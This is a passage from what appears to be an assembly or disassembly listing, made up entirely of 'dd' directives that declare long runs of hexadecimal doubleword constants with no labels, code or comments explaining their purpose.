0C76A530h, 17310AB5h, 0FB00B419h, 6434B620h, 0EADCD7EBh dd 2F634EE0h, 21236Ch, 0AFD2A3C4h, 2C4C1892h, 0BC4784A8h dd 8B0134A3h, 0E8D0A33Eh, 0B2EC6320h, 0E3AE307Eh, 9465CA16h dd 30608C82h, 423AEC8Ah, 0FB9643D3h, 41E06E00h, 520A477h dd 40DEC76Eh, 4838C1E4h, 84620928h, 93307CE2h, 7B3C00F0h dd 0EBD5378Dh, 4C90A8CEh, 0C3A5902h, 0C03213B2h, 3A75B929h dd 43026F0Eh, 3C618A04h, 3C91AC50h, 321882D1h, 77978700h dd 0CCCBE161h, 7045639Ch, 0FD985418h, 60013D1h, 0B99D0988h dd 4AB3BF1Bh, 9C689032h, 7400AED7h, 47F655BDh, 3441E87h dd 0FFE8B60Ch, 9BDCF295h, 913980ACh, 5CBB2C40h, 417C5C3Ah dd 20E6C42Eh, 334B5672h, 8C76046Bh, 69E64D00h, 53AEABA2h dd 7010E58Dh, 0BC1DA58Ch, 1185F483h, 3084FD66h, 0E71F9C40h dd 0C281B5A0h, 4D34B260h, 7866B848h, 0D0EE2C0Fh, 6E981973h dd 14795028h, 5C51A0A2h, 51FEF10h, 0DF289727h, 48315491h dd 0C3A4A180h, 0A55CD295h, 0D4B75D00h, 0E9A0F005h, 74C0E1Ah dd 0B4EC948Fh, 1197D339h, 0F6C096C4h, 1ECB06Fh, 30BE81D1h dd 80BC8C17h, 0A942D470h, 3033244Ah, 2BF1EE9Ch, 1A3074E3h dd 5ADA1164h, 0DED914E9h, 0C24BCC01h, 0EC41B16Ch, 6C82152Ah dd 58D8C41Eh, 4C3AE4D0h, 8A005040h, 93FFDD41h, 9539661Fh dd 0D93E6427h, 66C188EDh, 0F8684FC8h, 3C8C40BCh, 610369F5h dd 0A61BF3F0h, 0F09B8D8h, 73286513h, 0C80028B2h, 58272033h dd 7C0159E5h, 5618025Bh, 44E85406h, 0D2EB26C7h, 309685A4h dd 62B4406Ch, 0C44F348Ch, 0B0B2910Ah, 5200F4D9h, 0AB771889h dd 567AE9h, 2E165EEDh, 9B259F6Ch, 2C079800h, 0DBD5AF26h dd 58B560DAh, 305EF6B8h, 715A332Ch, 0CF34D601h, 0F031DEABh dd 0C05074F1h, 128A3209h, 0D0A8AC6Eh, 6CB1414Ch, 9FBB5013h dd 0A4F7A8A2h, 0EC7F3065h, 0B908BC94h, 367B017Dh, 91094E05h dd 54202A25h, 0E4420B8Fh, 0D38112B9h, 8068DBFEh, 3E32DE48h dd 0F4EA13C2h, 0AD9CF0ECh, 0A0B0500Bh, 0DA24A060h, 57516D3h dd 9DE9DB0Dh, 6008E164h, 804F8AF8h, 5235AC45h, 32D7C800h dd 2E5D3D05h, 8E0442E4h, 94DFD929h, 58F1205Ch, 0B6B6184Fh dd 41465C6Ch, 125461Dh, 9F308156h, 1DA83986h, 2D8066E9h dd 0C96F7ABAh, 0D59E09E8h, 4070BE38h, 5CD1B624h, 0CF3204Eh dd 0A426C249h, 1E898F8h, 6E10E830h, 2A8C0EE3h, 2800C85Dh dd 50A92575h, 62850037h, 0F7C7CF7Ah, 53B8C40Ch, 32B60109h dd 7988F11Ch, 2E184Ah, 7AE9F8FCh, 9C37990Ah, 0AC9C7EFAh dd 3A58B0DCh, 950087EEh, 9F09BEE2h, 9A12D9C3h, 34FC0h dd 5C433544h, 0F4252881h, 5445F009h, 0AE81F1EFh, 43DE1C13h dd 0C1E216A0h, 987E88E0h, 0FFF5FCA3h, 0A0991B83h, 1285EBE1h dd 0B43809DBh, 5A002D6Ch, 70CAAB11h, 7E75E996h, 0FAB65C34h dd 0F6EEBA09h, 51585CF3h, 0DB4B007Eh, 0DF851883h, 675C94B5h dd 102F4B48h, 0CE652110h, 0F3AD4356h, 474001B1h, 0CF3727E6h dd 3C60F940h, 29D9E9A8h, 0FA007A0Ch, 9E617F46h, 71C2A7Eh dd 0C72C5F3Ch, 48822907h, 0F8D1999Dh, 0DCDD6000h, 3BEAA04h dd 27D575AEh, 0D85C589Ah, 30EABD0Ch, 0A61C25D5h, 8592B043h dd 0EEAA0000h, 9E41B9Fh, 75ECD91Ch, 0C7F1DCD9h, 413BE518h dd 0DEE88014h, 4AD42833h, 9D2BEA2Ah, 7D11789Dh, 0A5C4409Ch dd 0CDAC5FFCh, 0B812AB4Fh, 4DFD9C30h, 33D31E61h, 0F83209B9h dd 24882017h, 0E7B16065h, 3E13A649h, 0C4A1E0B3h, 1606E2Bh dd 28D6DDB6h, 0E451C777h, 0E853D98Dh, 0B17AA805h, 0B918B84Eh dd 187F7930h, 2D2AE09Ah, 3868B36Eh, 0B50192E4h, 0D8F22D4Fh dd 0FC2480EAh, 0B681C1F5h, 8EBE92D0h, 630EFEF0h, 8297723Eh dd 470468E7h, 802397EEh, 5901B192h, 2808DB3Ch, 0DA20E623h dd 0B45F0136h, 3F3EE418h, 51BB2Ah, 147529D6h, 62BC4AC2h dd 2A1C4906h, 5040FC74h, 3413A0ADh, 0C2B82572h, 0E420B5B4h dd 24A3E627h, 149B6DDh, 91F15096h, 4747C37h, 1F98D0EEh dd 6458BC82h, 69EA7BE8h, 0B8F9E840h, 0F077AF00h, 0F4756FFh dd 25788D49h, 2069B434h, 31C0704Dh, 5216A1A0h, 3F224482h dd 44D10099h, 93005918h, 7CA2BE83h, 18372526h, 79B491A6h dd 96FAE6D7h, 3AB88700h, 13D4FC7Bh, 234F018Fh, 17320C3Ch dd 5178288Ch, 20FCCCB0h, 806837B5h, 0A427D32Bh, 2898F689h dd 0D94AAF0Dh, 2F2EB03Dh, 4D2374h, 95B5A4A5h, 2051FC2h dd 0D45EB62Eh, 1200987Eh, 2A0FC290h, 0CB04452Bh, 7A91DC18h dd 52612040h, 0BB242F3Bh, 404428Bh, 0C6C080A3h, 366E04Dh dd 6294F9FBh, 0B4EC3DBAh, 5F16B630h, 41099A26h, 0FD2C6072h dd 0B47A00D0h, 53DB95E8h, 0C1003627h, 0B09D38B8h, 3214FB2h dd 8AFB9BBh, 0BE9DA32h, 0A26C7335h, 601C304Dh, 0B524DA00h dd 4677525Fh, 785982E0h, 9C187979h, 0D79F60B9h, 9D12C9h dd 0E6FA18F7h, 0B4810053h, 2E8308DCh, 1A01BD87h, 0B2D0D9D5h dd 8841F588h, 2C6CA98Fh, 18C47BCh, 0D59C1EFBh, 76FF237Dh dd 1C09F064h, 0BA9E001Fh, 18FB94ADh, 1891819Fh, 6160B4D3h dd 763F8182h, 0ACA51FF8h, 0C01BEC49h, 75954320h, 0C231C034h dd 53F017B5h, 0C4DFE604h, 0ACC8E839h, 532B7532h, 83A2C8ECh dd 0E2BF30h, 550B316Dh, 70EA68F5h, 32003C92h, 0A9921826h dd 0B4EF17h, 80B5E488h, 1F13D68Bh, 0B86C8095h, 24EBD4BDh dd 5FC1AD2h, 0A3482C59h, 66C6A108h, 0F00240Ch, 75E2A353h dd 5C38B1A5h, 3C0028FAh, 0CDA6109h, 215BAE23h, 2123803Ah dd 2D87981Dh, 2E2897h, 0B0816D53h, 0B528B8D7h, 60D32009h dd 7344070h, 13DCD85Ah, 398371A7h, 0BC5C2865h, 0A8048C42h dd 0F08A325Fh, 4E8BA8C1h, 0B6159300h, 114017BDh, 35A38040h dd 319894D0h, 3EF06C58h, 0A29C73A8h, 0D9CD30C5h, 0E165350Ah dd 1801A74Ah, 0B8E56295h, 920E2AD4h, 0DAB44A80h, 4B73C174h dd 21D43C69h, 2CE0011Ch, 6DCC118Ah, 0AFA8C8B5h, 5FF02981h dd 94194914h, 0B3BD420Ah, 18F35638h, 0F8C89026h, 0E7850443h dd 0BCC0A094h, 0EA64278Ch, 79307920h, 1C0C1847h, 13A824FBh dd 5810B431h, 7570A901h, 6042B1FFh, 0F8760CCCh, 1D79F495h dd 818A5826h, 0F4EA949Bh, 5458FAE4h, 0DD4F8DEEh, 4B23802Fh dd 40FF1C00h, 0B093FE81h, 0C8AF4F11h, 0DB00D3DCh, 2DC24755h dd 29F8B3h, 8BD90C31h, 6A8507Dh, 92210F38h, 6E18BDB5h dd 7358459h, 48F228FAh, 0CFC76080h, 0D11D01E0h, 80674C9Ah dd 0B06E8480h, 14DB5872h, 38C7FF8h, 8618F448h, 56FB4525h dd 9AD0810Bh, 0B87060h, 0D23F1B2Ah, 767B68A0h, 0BE3B038h dd 0AB4A2F19h, 79ECD9C0h, 60931841h, 51C102A6h, 634894B5h dd 5CD62E3Dh, 7E4674h, 65510F66h, 3A17B65Fh, 1C9C094Fh dd 3229AC43h, 48F1B479h, 3A184171h, 2AD4E905h, 18D9C155h dd 8088B80Eh, 30AF94C0h, 0B496024Eh, 0D2F243DEh, 2B4B4061h dd 6398D001h, 0A0F76F06h dd 21402F6h, 6AD1C4A6h, 0E0525419h, 59829774h, 1844793Ch dd 0E6060E90h, 0AFC069F2h, 59E0D80Ch, 0F94B8C30h, 711186D7h dd 1AF73B82h, 0B16B0503h, 6FD885F2h, 0CA0C9E80h, 31478C08h dd 9AEB18D3h, 0ECA5C186h, 0A89A09E2h, 0D602EAF0h, 7F30F106h dd 5FFC406Fh, 3FF812CAh, 50C00CF5h, 3094A529h, 42465Eh dd 0F7A55AE8h, 59E45B56h, 0D93A5C22h, 0BBE4D15Fh, 0E254233Eh dd 51893044h, 0D57BCA24h, 3005F912h, 0A84054D2h, 0FC368BD8h dd 47CE0382h, 641713D5h, 2F2C8009h, 5A6CF03Fh, 0C010DAB4h dd 1743D234h, 0D7810314h, 3E842470h, 7B4F78C9h, 8023183Bh dd 98DBBF00h, 20FCF62h, 7FD61437h, 10FAEE47h, 9C5E925Fh dd 49334340h, 889552h, 9647F35Fh, 0AB748040h, 0D973ED16h dd 1081E834h, 0F0873F78h, 6201E6CAh, 50FB71F0h, 30CDF970h dd 32180D93h, 245A2817h, 0F8A6AC80h, 6081974Eh, 799AD9BAh dd 0A79E01FCh, 77301EB8h, 7661C4E8h, 5D730550h, 0A9F83EDAh dd 433AC34h, 0F0172C9Fh, 7E531FBDh, 7923503Ah, 0DD92AF04h dd 8A4B14E3h, 286CC4ECh, 31827F31h, 0DFB03C94h, 13D33A01h dd 10BAAF0Bh, 170C4612h, 634C8B2h, 3B598800h, 3D076849h dd 0BC6D5FBBh, 0C41C0C44h, 12A6200Bh, 0F537FEA9h, 78ED3070h dd 120032E4h, 0AF2EBD53h, 76A18667h, 1BEF0EF1h, 0A64B239Eh dd 2044F28Bh, 0D4D0924Eh, 59F1BD2h, 0D152714h, 0C82CC877h dd 0CD53A405h, 8413DC32h, 81C87C8Bh, 0B69333C0h, 1E3007CBh dd 770C2058h, 289B405Fh, 261C4435h, 40C059AFh, 0ACB08A87h dd 37502DA5h, 0DDDF1420h, 0C8003DABh, 12EEB930h, 2E181DA7h dd 17A0F5Ah, 28D535F6h, 631C34F8h, 0EC9D048Ch, 0CED2D347h dd 8610004Ch, 43D56FECh, 6CE84CA6h, 0CB28B204h, 4F5CEC5Eh dd 54A3AC13h, 0EE3122B2h, 27E336F4h, 50E41AFCh, 2420D500h dd 2E455741h, 255B0146h, 0A2691DECh, 305DC09Ah, 6FB06795h dd 28D89F1h, 728CF5FBh, 6C2D005Ch, 24F8D6C5h, 36005469h dd 0FC52F41Eh, 0B63F692h, 0C9AA994Ch, 20D3C442h, 15C0FD5Ah dd 18031558h, 0F3BFAF59h, 0A9A0B8DCh, 88245E8Fh, 0E20F4880h dd 60CCD92Fh, 660EE7C8h, 16AB20D0h, 0F078ECB3h, 5D2F1C95h dd 59D4C12Dh, 10976E9Fh, 0BF578C29h, 89322884h, 90D120ECh dd 0B4442029h, 57184DF1h, 42D9B704h, 6CC0FE70h, 0E96C18E4h dd 0F02FC896h, 0ED906EA8h, 0A0AFFCB0h, 5B5ECA40h, 532F00A7h dd 0FEB7048h, 0A0269F1Ah, 0CB0AA032h, 46769C5Dh, 83F50246h dd 81D4FB71h, 58D98A83h, 46E2C073h, 876C30h, 8B946AD7h dd 4932FEC7h, 0E0028E6h, 0B235601Ah, 5AAD6E83h, 0B6EC030Ah dd 0A0C03D17h, 265B4B50h, 81793048h, 773CD50Fh, 5BC46CE3h dd 0E754B020h, 0A6720062h, 0D0EEA07Bh, 615BC543h, 772B3420h dd 0BCDC5347h, 14307EE2h, 116F0C15h, 3019B277h, 76E31A00h dd 0F990739Dh, 0B825EA37h, 604F5198h, 7424A1ACh, 19218FFh dd 31253ADBh, 6D1AB017h, 0F7DC1014h, 512D9C48h, 0DAF2F41Bh dd 0AA803876h, 7A79C5F7h, 71B048AFh, 42293067h, 0AC85DDEAh dd 0CBA456E2h, 0C07CC890h, 884DE7F0h, 494C9204h, 0E0B87FE6h dd 7CE8B5C0h, 121DF005h, 598480A6h, 248BB635h, 57C14EC8h dd 0F06237BCh, 2E475500h, 61564642h, 39B4C3Bh, 8B012CD0h dd 0E4D8E831h, 0B3D4A1DEh, 0CA637310h, 0F0CE6600h, 0A202BA34h dd 47862DB8h, 5DB6D402h, 0AFB0905Dh, 5B0F88A8h, 3C7C2D58h dd 9CB64A69h, 0A696A1E0h, 82641601h, 2E387734h, 80183701h dd 783B9829h, 32B8BBDh, 0A8F511AAh, 45BAFE47h, 3C947841h dd 8C41E86Ch, 7879F900h, 237AFC45h, 34B7B7FFh, 7AB06500h dd 13E97F06h, 8C426EF4h, 0D700E178h, 1581B5E7h, 27AC1CE2h dd 109278B7h, 34375Dh, 0AAF0540Bh, 2416E647h, 68CB1D31h dd 312873C4h, 0B4483079h, 524C0E5Dh, 4B40B7A6h, 1CBEC66Fh dd 322E3704h, 16BAD45Fh, 720A288h, 4DBEF471h, 1761F9C0h dd 0C47A0021h, 0AFE5E8F6h, 9C919025h, 0A11882D1h, 1299E601h dd 74B59A79h, 7A60043Bh, 0BC00E8E1h, 1A008C80h, 3908A810h dd 2EA4744Dh, 62E9457h, 50A78649h, 0B2EB044h, 9DC1703Ah dd 4AC50401h, 0C4403A33h, 349FB447h, 0FD7D19h, 9860E170h dd 84396890h, 2C20D75Bh, 9F51E51Ch, 112F4411h, 2C2C4664h dd 0E044E6D7h, 0ECFF7C79h, 4FA50ABBh, 909F24h, 0CEFDA84h dd 0FA00EBD3h, 393C2349h, 5BE4FB65h, 0A11C8582h, 0AC143900h dd 6C1D00E8h, 0B51B5AA2h, 0DA4830EBh, 174C0498h, 0C80BFC4h dd 35B61E6Bh, 3AF1835Bh, 29451048h, 725389C0h, 0E5264A61h dd 7F4BCE1h, 0BF3B5E49h, 0B755F49Ch, 2A20B04Ch, 5F6BF297h dd 1F08191h, 0B81C78F8h, 0EC1F8C22h, 8DD19DEh, 2600D4ACh dd 0DADD8DEFh, 494B479h, 0B0649897h, 75FF338h, 718080DBh dd 0F3D34953h, 0B2FC4D54h, 29DBFE0h, 97BA0288h, 29408884h dd 6C2F8560h, 0EBDB02CBh, 752C98CCh, 2D195481h, 64852A13h dd 0E6BDE8ECh, 151AD30h, 1BFA1894h, 6856FB90h, 0B26881D8h dd 6A0D4988h, 60045C6Eh, 89C8B65Fh, 0C03037E8h, 0BC649DB7h dd 84D5304Ah, 0C2F8D229h, 3EF87A6Eh, 94A0D656h, 2273125Fh dd 0DC00B018h, 0B259F88h, 1ECD28E4h, 449DFC32h, 80C04515h dd 3290C238h, 2DF83217h, 0D4768A48h, 66C5215Eh, 966DEC80h dd 2BE1460h, 0B4E75490h, 0E4DCB3EAh, 84E700D6h, 584EDF03h dd 89C02030h, 3DFFE526h, 0FC250024h, 0D11F77BDh, 45015C12h dd 44BC3A31h, 0F8289397h, 30417A9Ch, 62848034h, 0A598B9C9h dd 1DDCD056h, 26DA5D85h, 646D2F90h, 0B0151BC3h, 2F7A255Dh dd 50000842h, 0B3162D32h, 1E482097h, 0B1FDB0CBh, 1882D150h dd 3BF7652h, 283BA536h, 54A8945Eh, 7C5A45ECh, 0E7C9401Eh dd 593C055Dh, 0E49204B3h, 0BC51D70Ch, 0D2A6F110h, 45A5ACD3h dd 60806458h, 407C4Bh, 96DF3B60h, 2804A191h, 90A33E17h dd 5BB670A0h, 0D01C41D4h, 895264EAh, 5E9C3518h, 692F4038h dd 0A5009382h, 7131B857h, 0E41C3E4Bh, 0C28A06F9h, 385470EAh dd 0C3229C98h, 784D95D4h, 0A2A807C0h, 0EA621255h, 45FCB018h dd 81FE491Fh, 0B951B600h, 15C1BB3Dh, 3C4450EAh, 8DF09823h dd 9B2F289Ah, 0D1686090h, 18FF565Ch, 4ABB293Eh, 4EC8708Eh dd 451790C0h, 0F3D70082h, 78D9AD4h, 28B23321h, 0CC30424Ah dd 0F0F3474Eh, 14979D38h, 6066C688h, 0BC593103h, 9D54C100h dd 2C67CB75h, 0E1334ABFh, 0C0D8011Ch, 42570C4Dh, 42B4AAFh dd 9B098C7Ah, 209328A6h, 0D2E45B74h, 3129817Dh, 73C661ACh dd 3045B298h, 910C264Bh, 193C59B6h, 0C73E30B5h, 533095EEh dd 320C60B4h, 1F572159h, 0FD4997FFh, 7F7CA980h, 6F922CE5h dd 9D7146E4h, 5EACF00Bh, 0D3BD00ABh, 92A9C2CBh, 1F9E00BCh dd 8AF2BED8h, 37BD1DC0h, 0AA180990h, 5025F4DCh, 6CF40EBCh dd 158093E0h, 80A2D08Ah, 0E400B492h, 0BE19439Ch, 5518687Fh dd 6E7F949Eh, 941B0098h, 5852F0DBh, 2EEE2C4Ah, 0C8804F94h dd 218626C3h, 0E0BCCD97h, 0F3268C40h, 7B81EC17h, 0DC475022h dd 0D10A0148h, 7233492Dh, 63800000h, 12CCB945h, 0ECD70DAEh dd 7B3879DDh, 760F886Eh, 90410975h, 208318DCh, 189EACA4h dd 84BD1312h, 5F73AFACh, 7C2042F8h, 35C0A0F9h, 8FB70966h dd 0F47E2958h, 0F3E3CDE0h, 46AD005Bh, 3AB397D6h, 0D50E56F1h dd 22ECAF79h, 41FE0708h dd 8BF629ECh, 9EB066FCh, 0E01D45Ch, 0D2F87753h, 2C649AEBh dd 0BC619718h, 96A1825Ch, 48AD3430h, 80287184h, 5800408Eh dd 0F79D89C8h, 9221A2h, 2CA093F6h, 3559E79Bh, 27CF5412h dd 9D09B0ECh, 0D8F1A841h, 0E2569A0Eh, 0FC8F3EA4h, 7A5CDC70h dd 0D16C100Ch, 6B93D842h, 94E90068h, 9FE553ACh, 0D67902D0h dd 0C6E4F496h, 7F3B00FEh, 37D1A600h, 0C30CF569h, 0C09054h dd 2E9364AAh, 6F0A7947h, 59A99A30h, 591A0Fh, 989146BAh dd 0A79F212Dh, 4C91DB51h, 0C8CB82CCh, 2C3CD154h, 78467418h dd 114CC16h, 0CF187C64h, 505DE057h, 98B795h, 0C2D61FDDh dd 0AC98FCE3h, 1202EFF4h, 0D872AE4h, 2910F675h, 1882D18Ch dd 7DBF7340h, 8669023Dh, 0E098CC79h, 0E4A5A050h, 215C2424h dd 5A8066C8h, 0F44B0E46h, 7F60295h, 0FD8C3E43h, 0C7180577h dd 20FD8C65h, 0C7096EA8h, 6834E4C1h, 0DBA218h, 0CE664E69h dd 0F0602AFBh, 29378F00h, 0FE4AF7BAh, 0DCED2426h, 3895CBD4h dd 60287388h, 5C94B534h, 88989229h, 0D1178026h, 4E6E9CB4h dd 1220B39Bh, 0E4441551h, 3BBF65F9h, 0B8C7AA0h, 0D7A61C55h dd 51432C94h, 0C80C8B4Bh, 0A472C07Eh, 2B2F71BDh, 0E464E58Bh dd 0D36A604Eh, 0BE64AC3h, 0D81A966Ch, 0F84EB040h, 7CB39529h dd 8666C670h, 0E9B20D00h, 0E64A1CFFh, 6437018Eh, 0D91ADCE4h dd 0B2202304h, 6819304Ah, 80DED238h, 0EB50C92Fh, 58B722D4h dd 0B081E421h, 5A8A4656h, 440BC030h, 30DDB49Ch, 71C6758Ah dd 53480842h, 5B471280h, 7FB52001h, 0E450BF05h, 0FB3165F8h dd 5A324980h, 0D6BDDCC1h, 768CE900h, 0D0EE6C95h, 0D9AC20B2h dd 0C230304Ch, 0F8639488h, 218463E0h, 7CC2B275h, 9727E0FEh dd 65218868h, 5C393760h, 98400E2Ah, 0ECD468A0h, 8D151800h dd 0A33F08BCh, 0C74DB82Dh, 647F6454h, 2679F4ACh, 0E90C1881h dd 4464C465h, 0F9A4D760h, 0AB25FB0Eh, 36A180BDh, 751ED50Ah dd 4D0F06B5h, 80ACF0B8h, 91CC1D97h, 2A6C8043h, 0B2649DCh dd 0EE726E66h, 0C829F085h, 289667C4h, 0DAD6CC90h, 0A3778080h dd 98250AEh, 28194CA1h, 0D3161852h, 0C4B1BF13h, 9B4E0C66h dd 8D809C88h, 3106696Ah, 0C423FDAh, 50FDE8D1h, 23603E3Bh dd 0C45F0044h, 0C55D07B9h, 98B4D405h, 30977638h, 16F8B751h dd 0DBCC033Ah, 2B827719h, 0CFB59882h, 0CDF20CDAh, 0E3EC9825h dd 7FF825F0h, 879240E0h, 65B7E4A8h, 0C8566826h, 18740448h dd 10AD5930h, 0DF00C283h, 52AE936Dh, 0EE7F33h, 618657E5h dd 0ED7E3254h, 0B0C49A00h, 47B515B3h, 805D0E0Bh, 0BEE3333Fh dd 9AF03AA6h, 625083EFh, 3004CC4h, 9CCFCCC1h, 0A95BEh dd 34D7CE76h, 4CA3BC2Ch, 800FA739h, 3A4A8068h, 0B08C7043h dd 8F920065h, 0B886E295h, 8B03E441h, 0F2FFB2F6h, 0D1BE8363h dd 0D8D366E6h, 13223E3h, 0E80DB07Ch, 60FDF90Ah, 0A400E778h dd 0B20E0129h, 0D0600Ch, 1147CC59h, 0D15B3D0Bh, 0C0ED3000h dd 980F9F77h, 0B39B009Eh, 0F1BD4F80h, 6E0039FEh, 81623A02h dd 3EC9530h, 0BDDABD1h, 11002769h, 0E67787A2h, 748E3650h dd 0B14005F1h, 0EEBA996h, 0FF8028F3h, 0BAEC6B37h, 0EA9DD203h dd 0B0467804h, 0FA413ECEh, 0E8BDDAh, 0C301A1FAh, 0BCFCF989h dd 0A2D56714h, 28CF7170h, 98AE8Eh, 0DD4BB30Ch, 0FB2B1A4h dd 1917D38h, 0ECBDE69Bh, 29802EFDh, 0B9EE3BEh, 0ACF6DEA8h dd 80C60A38h, 0D791C32Fh, 0F60C1h, 27FC8DCDh, 4C439F6Fh dd 56142A72h, 2CB4BDCEh, 0E700883Bh, 0C7035D22h, 7CBEEE8Fh dd 0CAC50C89h, 0D9D6DDE4h, 5520D400h, 4493ABFEh, 17D2017Ch dd 0B077C218h, 56BCC803h, 0DFB43A00h, 0C9AD41A4h, 753F0C1Ch dd 97291ACFh, 518A3E0h, 0C510194Ah, 8A06009Ah, 73C4125Ah dd 7E0AD6B0h, 0F6A9BB2Ah, 42EEC903h, 0EAE79856h, 4F7D0729h dd 3093284Ch, 70B89A09h, 24EB542Ch, 31482F40h, 0D67D001Dh dd 3453140Bh, 5500AD70h, 0DC1AAB28h, 0F3EC31DAh, 1D71F880h dd 1C142C64h, 0A888D561h, 0E4F89D73h, 0BA0C030h, 0B4F3052Eh dd 8414EB0Bh, 966B00A2h, 15CFA73h, 0E968DEEDh, 24649C94h dd 0D500D8B4h, 77DF34A2h, 74881937h, 0AF9400F9h, 798ADBD9h dd 2C7530DCh, 2EF7E817h, 0E5004CACh, 652548A2h, 4E008682h dd 3EEC5827h, 2C2A59Bh, 0AC4104B0h, 204023C6h, 0DD009A8Dh dd 164B6B6Ch, 0E7E9BDh, 0BE1C5196h, 0A2E0024Eh, 58D4C00h dd 1D5563C5h, 9DCE011Ah, 0F7EBBEFCh, 4E97E828h, 71BB4D09h dd 42700E7Ch, 0C06B7E85h, 3E477D2h, 0CE10F1F7h, 90D7EE8Ch dd 0FD3C40ACh, 198E21C0h, 0CF27D7h, 9DBEFB0h, 9616ABCEh dd 0D4A0945Fh, 80590017h, 75C74637h, 2926E971h, 0A10F277Ch dd 87A6C0CFh, 5E7F5E85h, 0B160A062h, 0B57C61Fh, 1560D440h dd 74ACFE09h, 0C3E700E1h, 5C498D0Ah, 230072E0h, 90C60C59h dd 0E8274A42h, 0CB250037h, 0FC928F7Bh, 740384A9h, 7EE00A72h dd 5B86A08Ch, 9FF30044h, 0BD063A48h, 2E00C7C1h, 0BCCA072h dd 556490h, 18244BD0h, 6A817A3Ch, 70B94C04h, 3095FC1Fh dd 319C49EBh, 35D0BC00h, 872E9471h, 7A0F2C68h, 9000339Ch dd 0B274B1BDh, 16A81CC2h, 0A170C0A2h, 8CCCEDD0h, 0E3561E00h dd 729E4345h, 49080016h, 7D889691h, 317DF621h, 6EFB3007h dd 5880F390h, 37505D9h, 0C059C7B6h, 0E8982B33h, 121452EFh dd 0E02978h, 568ABEFBh, 0C5B877h, 0B6CA6A23h, 0AA7244A6h dd 6D41AD1Fh, 0D678E940h, 1EB92666h, 2DB279Bh, 4E9CF243h dd 0ADBF8C80h, 940C21DEh, 0D0485966h, 0A0CE00A5h, 5A8EF418h dd 0CA1361E4h, 0A81DAE8Fh, 83BFDE8Fh, 0AD128AFCh, 0CAC99440h dd 0E46A6h, 8F483462h, 1003D858h, 0AAA37E00h, 0ECF7071Eh dd 0C3A530D6h, 9AE9D428h, 0F2CD900h, 7FA0D203h, 6E12039Bh dd 44A4ABFCh, 13D4AFF0h, 0DCA50400h, 0A6F46FDBh, 16A200C9h dd 7E20989Ah, 8D001B55h, 0CAB81C54h, 0F576D4Fh, 8EDB9267h dd 0D4FBB038h, 78480600h, 89167C1Eh, 0D1C70164h, 185EFDEBh dd 0B50C300Ch, 50727E0Fh, 0DDED00C9h, 0E9CFE0C3h, 0B27DE06Eh dd 0E194F907h, 0C1F3C7A7h, 643EBAEAh, 8A0A0000h, 4F12595h dd 1498E9E5h, 3273D307h, 1310F4B7h, 3A9F57h, 0E04D79D9h dd 7439E7C2h, 8FE2D507h, 6A17469Ah, 0FDCCBCB0h, 802A0017h dd 9EEEDB66h, 0A5074C1Bh, 0C8B132E3h, 23A4E281h, 0F4B793C0h dd 37DE0012h, 2F5A7021h, 0E9014BEEh, 9F607DE0h, 75E9AD1Ah dd 0E42A8B20h, 966A0234h, 18DC2C6Eh, 405F2041h, 37F1109Ch dd 0C6BBED02h, 0FD6178EBh, 4DE27E01h, 6015C53Bh, 1A0020CFh dd 0C628878Ch, 5CA5767h, 6D254A45h, 269FC090h, 2E061EE4h dd 440C7F96h, 36BF1C21h, 0D8220F74h, 2AFD0140h, 62001EDCh dd 35F51AE8h, 0C6E34Ah, 0FB55C9A8h, 32F1A911h, 0FE412E6Eh dd 5A017356h, 0B0FF41CFh, 1710EE4h, 1926C980h, 80E685F1h dd 67E43258h, 0EE5F4F84h, 5E2BFh, 0AFA4E5D4h, 8ADF653Dh dd 61C5A505h, 281CD007h, 1150A600h, 46184Bh, 60EFCA4Ah dd 3F491938h, 0AC924D00h, 0D2C465EBh, 0D3C01B2h, 1EE74CBAh dd 32BFAC7h, 0FF2646h, 0C4DAA4B0h, 0E9CB3708h, 0F54098C1h dd 7CCCCC8h, 1304FC2Fh, 0E8E02672h, 58DC2F80h, 0CB7010BCh dd 0D45407CCh, 87590FF7h, 72F4B653h, 80628EC0h, 8B21026Bh dd 77BEFFDEh, 4920F680h, 0E600D30Dh, 0A59C05F3h, 16E351Eh dd 591B8DC9h, 6E37E10Ah dd 0C8900DC3h, 0CE9B51h, 3B627725h, 4CC2B894h, 688D2300h dd 644054F3h, 0E767DE0h, 0F7CB2237h, 6ECCC26Fh, 9076EBA0h dd 47D64100h, 25E8883Eh, 7A801D06h, 91300038h, 3DB3B82Eh dd 0F9BB1000h, 0EED21A76h, 0FDC0000Dh, 906B43F5h, 0AB01F836h dd 11BFCF2Bh, 58289AE1h, 9BA0AD00h, 68F5F4C7h, 0F6C82450h dd 0FEEDA40Ch, 0FEBD1131h, 0DAD30299h, 0BB7F729Ch, 3CB800F7h dd 0FE1A7B62h, 0FFB23F8Ch, 0B18E513Eh, 98E04B52h, 0E8FB7940h dd 0FD9F6A04h, 0FD83338Bh, 7F9BC9BFh, 0B88673C0h, 6667005Dh dd 4347B34Eh, 0C0005B02h, 1AB483F7h, 7FB9C614h, 18FC60F5h dd 0A93C1377h, 0D4007A98h, 7C9390FFh, 0FE2E2C82h, 0E36A3897h dd 0CEE7F31Fh, 4CF88D52h, 0C20D38DEh, 21770C64h, 0F43E80F0h dd 0F4409529h, 6A0F7F22h, 0C2571F4Bh, 55685840h, 568CC440h dd 0DA7E2600h, 5B42520Dh, 0DF620F69h, 63402D9Ch, 0EAB35698h dd 0CB36B200h, 0B1CA66ABh, 453D00A3h, 1CF278C3h, 0B6E60E64h dd 0EF82721Eh, 0A624F742h, 0BD084152h, 717B2470h, 1A7A804Ah dd 0EE82DA00h, 0BFCA489Ah, 3E8300C2h, 0A76583Bh, 42396465h dd 0F3F180DEh, 3392D01Ah, 0D1C42480h, 0AAE5008Ch, 4E070E49h dd 0D979100h, 0DCA281C2h, 0D7F20019h, 0C96872F8h, 0B41EDB04h dd 0C303B3BFh, 9D92C0DFh, 35C44C0h, 0A481485Fh, 5388CB00h dd 0BA0A257Dh, 0CDE4111Fh, 0DEBDF3CBh, 0F97000F4h, 39B03FC7h dd 0A6726E00h, 0DE96CC85h, 0B9A800CAh, 3BD9D2F6h, 0A505CB50h dd 0EFB6ED15h, 0D80CF0C0h, 5F5500C7h, 75CDA0FEh, 5B035776h dd 2D9BAE5Eh, 0A6B280E7h, 0F4DC1F90h, 0BE95804Fh, 0F7064648h dd 7877C600h, 8B407D8Ch, 79211415h, 0E63B80F4h, 0F9C93D80h dd 0F74642CBh, 64F5E900h, 0A77B0D44h, 674104A8h, 0AA3438D0h dd 57E98490h, 0CF1B2E58h, 2BD602A8h, 405521B8h, 0F2A2A4h dd 0DC9A452Fh, 9906EEA5h, 580001F4h, 560F3CE8h, 70BABD2h dd 0F191E6F7h, 